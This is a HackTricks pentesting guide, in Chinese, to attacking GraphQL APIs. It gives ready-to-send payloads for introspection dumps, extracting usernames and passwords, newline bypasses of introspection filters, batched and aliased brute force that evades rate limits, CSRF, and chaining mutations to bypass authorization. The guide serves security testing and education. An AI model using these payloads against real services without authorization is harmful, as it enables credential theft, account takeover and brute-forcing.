# GraphQL

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 简介

GraphQL 被**强调**为 REST API 的**高效替代方案**，提供了一种简化的方法来查询后端数据。与 REST 相比，后者通常需要跨多个端点发出多个请求以收集数据，GraphQL 可以通过**单个请求**获取所有所需信息。这种简化显著地**有利于开发人员**，减少了数据获取过程的复杂性。

## GraphQL 和安全性

随着新技术的出现，包括 GraphQL，也出现了新的安全漏洞。需要注意的一个关键点是，**GraphQL 默认不包含身份验证机制**。开发人员有责任实施这些安全措施。没有适当的身份验证，GraphQL 端点可能会向未经身份验证的用户暴露敏感信息，构成重大安全风险。

### 目录暴力攻击和 GraphQL

为了识别暴露的 GraphQL 实例，建议在目录暴力攻击中包含特定路径。这些路径包括：

* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`

识别开放的 GraphQL 实例允许检查支持的查询。这对于了解通过端点访问的数据至关重要。GraphQL 的内省系统通过详细说明模式支持的查询来实现这一点。有关更多信息，请参考 GraphQL 关于内省的文档：[**GraphQL：用于 API 的查询语言。**](https://graphql.org/learn/introspection/)

### 指纹

工具 [**graphw00f**](https://github.com/dolevf/graphw00f) 能够检测服务器中使用的 GraphQL 引擎，然后为安全审计人员提供一些有用信息。

#### 通用查询 <a href="#universal-queries" id="universal-queries"></a>

要检查 URL 是否是 GraphQL 服务，可以发送一个**通用查询** `query{__typename}`。如果响应包含 `{"data": {"__typename": "Query"}}`，则确认该 URL 托管了一个 GraphQL 端点。此方法依赖于 GraphQL 的 `__typename` 字段，该字段显示了查询对象的类型。

```javascript
query{__typename}
```

### 基本枚举

GraphQL通常支持**GET**，**POST**（x-www-form-urlencoded）和**POST**（json）。尽管出于安全考虑，建议仅允许json以防止CSRF攻击。

#### 自省

要使用自省来发现模式信息，请查询`__schema`字段。此字段在所有查询的根类型上都可用。

```bash
query={__schema{types{name,fields{name}}}}
```

使用此查询，您将找到正在使用的所有类型的名称：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a99e6cd439bf71a4f8ad2e21290f4df0074d24ec%2Fimage%20\(202\).png?alt=media)

{% code overflow="wrap" %}

```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```

{% endcode %}

使用此查询，您可以提取所有类型、字段和参数（以及参数的类型）。这将非常有用，以了解如何查询数据库。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a4059618a9238087dbd99bd3dbe85c1ac7dbdf8a%2Fimage%20\(207\)%20\(3\).png?alt=media)

**错误**

了解**错误**是否会被**显示**很有趣，因为它们将提供有用的**信息**。

```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```

**通过内省枚举数据库模式**

{% hint style="info" %}
如果启用了内省但上述查询无法运行，请尝试从查询结构中删除`onOperation`、`onFragment`和`onField`指令。
{% endhint %}

```bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```

内联反射查询：

```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```

最后一行代码是一个GraphQL查询，将从GraphQL中转储所有元信息（对象名称、参数、类型...）

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-3ac70e5fd2a7ebba0ef8298711457d25715c0791%2Fimage%20\(206\).png?alt=media)

如果启用了内省，您可以使用[**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager)在GUI中查看所有选项。

### 查询

现在我们知道数据库中保存了哪种信息，让我们尝试**提取一些值**。

在内省中，您可以找到**可以直接查询的对象**（因为您不能仅仅因为对象存在就查询对象）。在下图中，您可以看到"*queryType*"被称为"*Query*"，而"*Query*"对象的一个字段是"*flags*"，它也是一个对象类型。因此，您可以查询flag对象。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-eef992753b188040adb6f33d8661d77ec19da736%2Fscreenshot-from-2021-03-13-18-17-48.png?alt=media)

请注意，查询"*flags*"的类型是"*Flags*"，并且此对象定义如下：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-722d32196143296167bc2e966402ed482da8fe36%2Fscreenshot-from-2021-03-13-18-22-57.png?alt=media)

您可以看到"*Flags*"对象由**name**和**value**组成，然后您可以使用以下查询获取所有标志的名称和值：

```javascript
query={flags{name, value}}
```

请注意，如果要查询的对象是像以下示例中的字符串这样的**基本类型**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a8b26dc889064fd7ed552a69198a9179923d9a17%2Fimage%20\(441\).png?alt=media)

您可以使用以下查询：

```javascript
query={hiddenFlags}
```

在另一个示例中，"*Query*" 类型对象内有 2 个对象："*user*" 和 "*users*"。\
如果这些对象不需要任何参数来搜索，只需请求所需的数据即可**检索所有信息**。在这个示例中，你可以提取已保存的用户名和密码：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-3f024b1bd29f270a796b4a05194cf52d678fb597%2Fimage%20\(208\).png?alt=media)

然而，在这个示例中，如果你尝试这样做，你会收到这个**错误**：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-356d109fc4cf1ca6c78d41fcd8d65745356b182a%2Fimage%20\(210\).png?alt=media)

看起来它会使用类型为 ***Int*** 的 "***uid***" 参数进行搜索。\
无论如何，我们已经知道，在[基本枚举](#basic-enumeration)部分提出了一个查询，显示了我们所需的所有信息：`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`

如果你阅读提供的图像，当我运行该查询时，你会看到 "***user***" 具有类型为 *Int* 的 **arg** "***uid***"。

因此，通过进行一些轻量级 ***uid*** 暴力破解，我发现在 ***uid**=**1*** 时检索到了一个用户名和一个密码：\
`query={user(uid:1){user,password}}`

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-96e65bf64dff209cc3af68a37df9b4e33852b2aa%2Fimage%20\(211\).png?alt=media)

请注意，我**发现**我可以请求参数 "***user***" 和 "***password***"，因为如果我尝试查找不存在的内容 (`query={user(uid:1){noExists}}`)，我会收到这个错误：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-eb0650ea162d975feb3e2903316a27be6d4696b2%2Fimage%20\(213\).png?alt=media)

在**枚举阶段**期间，我发现 "***dbuser***" 对象的字段为 "***user***" 和 "***password***。

**查询字符串转储技巧（感谢 @BinaryShadow\_）**

如果你可以按字符串类型搜索，比如：`query={theusers(description: ""){username,password}}`，并且你**搜索空字符串**，它将**转储所有数据**。(*请注意，此示例与教程示例无关，对于此示例，请假设你可以使用 "**theusers**" 搜索名为 "**description**" 的 String 字段*).

### 搜索

在这个设置中，一个**数据库**包含**人员**和**电影**。**人员**由他们的**电子邮件**和**姓名**标识；**电影**由它们的**名称**和**评分**标识。**人员**可以互相成为朋友，也可以拥有电影，表示数据库内的关系。

你可以通过**姓名**搜索人员并获取他们的电子邮件：

```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```

您可以通过姓名搜索人员并获取他们订阅的电影：

```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```

注意如何指示检索人的`subscribedMovies`的`name`。

您还可以**同时搜索多个对象**。在这种情况下，搜索了2部电影：

```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```

甚至是使用别名来关联多个不同对象的关系：

```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```

### 变异

**变异用于在服务器端进行更改。**

在**内省**中，您可以找到**声明的变异**。在下面的图像中，"*MutationType*"被称为"*Mutation*"，而"*Mutation*"对象包含变异的名称（在本例中为"*addPerson*"）：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-44a446c60fb9a4afd4bf483f63901eeb7ffa9268%2Fscreenshot-from-2021-03-13-18-26-27.png?alt=media)

在这个设置中，一个**数据库**包含**人员**和**电影**。**人员**通过他们的**电子邮件**和**姓名**进行标识；**电影**通过它们的**名称**和**评分**进行标识。**人员**可以互相成为朋友，并且也可以拥有电影，表示数据库内的关系。

在数据库中**创建新的**电影的变异可以如下（在这个例子中，变异被称为`addMovie`）：

```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```

**注意查询中指定了数据的值和类型。**

此外，数据库支持一个名为 `addPerson` 的 **mutation** 操作，允许创建 **persons** 并将它们与现有的 **friends** 和 **movies** 关联起来。重要的是要注意，必须在将它们链接到新创建的人之前，friends 和 movies 必须在数据库中预先存在。

```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```

### 指令过载

如[**报告中描述的一个漏洞**](https://www.landh.tech/blog/20240304-google-hack-50000/)所述，指令过载意味着调用一个指令甚至数百万次，使服务器浪费操作，直到可能对其进行拒绝服务攻击。

### 在1个API请求中批量暴力破解

这些信息来自<https://lab.wallarm.com/graphql-batching-attack/>。\
通过GraphQL API进行身份验证，**同时发送许多带有不同凭据的查询**以进行检查。这是一种经典的暴力破解攻击，但现在由于GraphQL批处理功能，可以在一个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序，让其认为一切正常，没有暴力破解机器人试图猜测密码。

下面是一个应用程序身份验证请求的最简单演示，**每次同时发送3对不同的电子邮件/密码**。显然，可以以相同的方式在单个请求中发送数千个：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e3b2aeec042f09deee15222f09139489ae7dd63d%2Fimage%20\(182\)%20\(1\).png?alt=media)

从响应截图中可以看到，第一个和第三个请求返回了 *null* 并在 *error* 部分反映了相应的信息。**第二个变异具有正确的身份验证**数据，响应具有正确的身份验证会话令牌。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-e2f82d4dfbc68e5dea4c4c45ae6111533f4220cc%2Fimage%20\(119\)%20\(1\).png?alt=media)

## 无需内省的GraphQL

越来越多的**GraphQL端点禁用内省**。然而，当收到意外请求时，GraphQL抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重新创建大部分模式。

此外，Burp Suite扩展程序[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展程序**观察通过Burp传递的GraphQL API请求**，并**构建**一个内部GraphQL **模式**，每次看到新查询时都会构建。它还可以为GraphiQL和Voyager公开模式。当接收到内省查询时，该扩展程序返回一个虚假响应。因此，GraphQuail显示了API中可用于使用的所有查询、参数和字段。有关更多信息，请查看[**此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。

一个不错的**单词列表**，用于发现[**GraphQL实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。

### 绕过GraphQL内省防御 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>

### **绕过GraphQL内省防御**

为了绕过API中内省查询的限制，在`__schema`关键字后插入一个**特殊字符**是有效的。这种方法利用了常见的开发人员在正则表达式模式中的疏忽，这些模式旨在通过关注`__schema`关键字来阻止内省。通过添加像**空格、换行和逗号**这样的字符，GraphQL会忽略但可能没有在正则表达式中考虑到的字符，可以规避限制。例如，一个在`__schema`后面有一个换行符的内省查询可能会绕过这种防御：

```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```

如果不成功，考虑使用**GET请求**或**带有`x-www-form-urlencoded`的POST**等替代请求方法，因为限制可能仅适用于POST请求。

### **发现暴露的GraphQL结构**

当禁用内省时，检查网站源代码中JavaScript库中预加载的查询是一种有用的策略。可以使用开发者工具中的`Sources`选项卡找到这些查询，从而深入了解API的模式并揭示可能**暴露的敏感查询**。在开发者工具中搜索的命令为：

```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```

## GraphQL中的CSRF

如果你不知道什么是CSRF，请阅读以下页面：

{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery" %}
[csrf-cross-site-request-forgery](https://hacktricks.xsx.tw/pentesting-web/csrf-cross-site-request-forgery)
{% endcontent-ref %}

在这里，你将能够找到一些GraphQL端点**配置没有CSRF令牌**。

请注意，GraphQL请求通常通过使用Content-Type \*\*`application/json`\*\*的POST请求发送。

```javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
```

然而，大多数 GraphQL 端点也支持 **`form-urlencoded` POST 请求：**

```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```

因此，由于类似之前的 CSRF 请求是**无需预检请求**发送的，因此可能利用 CSRF 在 GraphQL 中**执行** **更改**。

但是，请注意 Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着该 cookie 仅在第三方网站的 GET 请求中发送。

请注意，通常也可以将**查询请求**作为**GET**请求发送，而在 GET 请求中可能不会验证 CSRF 令牌。

此外，可能利用 [**XS-Search**](https://hacktricks.xsx.tw/pentesting-web/xs-search) **攻击**从 GraphQL 端点中滥用用户凭据窃取内容。

有关更多信息，请查看[**此处的原始帖子**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。

## GraphQL 中的授权

端点上定义的许多 GraphQL 函数可能仅检查请求者的身份验证而不检查授权。

修改查询输入变量可能导致泄露敏感帐户详细信息[leaked](https://hackerone.com/reports/792927)。

甚至可能通过修改其他帐户数据尝试接管帐户来导致变异。

```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```

### 绕过GraphQL授权

[链接查询](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) 可以绕过弱授权系统。

在下面的示例中，您可以看到操作是“forgotPassword”，它应该只执行与之关联的forgotPassword查询。这可以通过在末尾添加一个查询来绕过，本例中我们添加了“register”和一个用户变量，系统将其注册为新用户。

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-ed42bdf13a6dc697fdb1579c1d408d48774e7872%2FGraphQLAuthBypassMethod.PNG?alt=media" alt=""><figcaption></figcaption></figure>

## 使用GraphQL中的别名绕过速率限制

在GraphQL中，别名是一个强大的功能，允许在进行API请求时**明确命名属性**。这种能力特别适用于在单个请求中检索**同一类型的多个实例**。别名可用于克服阻止GraphQL对象具有相同名称的多个属性的限制。

建议查看有关GraphQL别名的详细理解的资源：[别名](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。

虽然别名的主要目的是减少大量API调用的必要性，但已经发现了一个意外的用例，即可以利用别名来对GraphQL端点执行暴力攻击。这是可能的，因为一些端点受到速率限制器的保护，这些限制器旨在通过限制**HTTP请求的数量**来阻止暴力攻击。然而，这些速率限制器可能不考虑每个请求中的操作数量。鉴于别名允许在单个HTTP请求中包含多个查询，它们可以规避此类速率限制措施。

考虑下面提供的示例，说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制，因为它将多个查询编译到一个HTTP请求中，从而可能允许同时验证多个折扣代码。

```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```

## 工具

### 漏洞扫描器

* <https://github.com/gsmith257-cyber/GraphCrawler>：工具包，可用于抓取模式并搜索敏感数据，测试授权，暴力破解模式，并找到到给定类型的路径。
* <https://blog.doyensec.com/2020/03/26/graphql-scanner.html>：可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。
* <https://github.com/swisskyrepo/GraphQLmap>：也可作为CLI客户端用于自动化攻击。
* <https://gitlab.com/dee-see/graphql-path-enum>：列出在GraphQL模式中到达给定类型的不同方式的工具。
* <https://github.com/doyensec/inql>：用于高级GraphQL测试的Burp扩展。\_**Scanner***是InQL v5.0的核心，您可以分析GraphQL端点或本地内省模式文件。它会自动生成所有可能的查询和变更，并将它们组织成结构化视图供您分析。***Attacker**\_组件可让您运行批量GraphQL攻击，这对规避实施不当的速率限制很有用。

### 客户端

* <https://github.com/graphql/graphiql>：GUI客户端
* <https://altair.sirmuel.design/>：GUI客户端

### 自动化测试

{% embed url="<https://graphql-dashboard.herokuapp.com/>" %}

* 解释AutoGraphQL的视频：<https://www.youtube.com/watch?v=JJmufWfVvyU>

## 参考资料

* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4**](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)
* [**http://ghostlulz.com/api-hacking-graphql/**](http://ghostlulz.com/api-hacking-graphql/)
* [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
* [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
